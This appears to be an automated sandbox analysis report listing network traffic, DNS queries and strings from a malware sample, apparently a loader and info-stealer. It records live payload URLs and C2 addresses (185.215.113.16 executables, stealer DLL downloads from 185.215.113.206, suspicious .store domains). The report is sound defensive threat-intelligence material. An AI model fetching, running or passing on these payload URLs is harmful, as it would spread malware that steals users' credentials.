Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cx4BNEmLhP9xUK2&MD=kc2w5st2 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 11 Nov 2024 18:42:12 GMTIf-None-Match: "67325004-1ba200"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: 5912d4444a.exe, 00000019.00000003.2805400479.00000000008E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-sr equals www.youtube.com (Youtube)
Source: 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C80f26d8df816a964aafb6ec188b485ed; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=f56f7c981f15577e077aa735; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35052Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveMon, 11 Nov 2024 18:53:12 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: 5912d4444a.exe, 00000019.00000003.2805400479.00000000008E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: adcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampoweW equals www.youtube.com (Youtube)
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: founpiuer.store
Source: global traffic	DNS traffic detected: DNS query: navygenerayk.store
Source: global traffic	DNS traffic detected: DNS query: scriptyprefej.store
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: marshal-zhukov.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: skotes.exe, 00000018.00000002.3297282430.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000018.00000002.3297282430.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exef-
Source: skotes.exe, 00000018.00000002.3297282430.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exelencoded
Source: file.exe, 00000000.00000002.2422651725.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2422651725.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exes_H
Source: 5912d4444a.exe, 00000019.00000002.2994508562.00000000008BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: skotes.exe, 00000018.00000002.3297282430.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000018.00000002.3297282430.000000000166B000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000002.2994508562.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000002.2994379969.00000000006FA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 5912d4444a.exe, 00000019.00000002.2994508562.00000000008BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe6eG
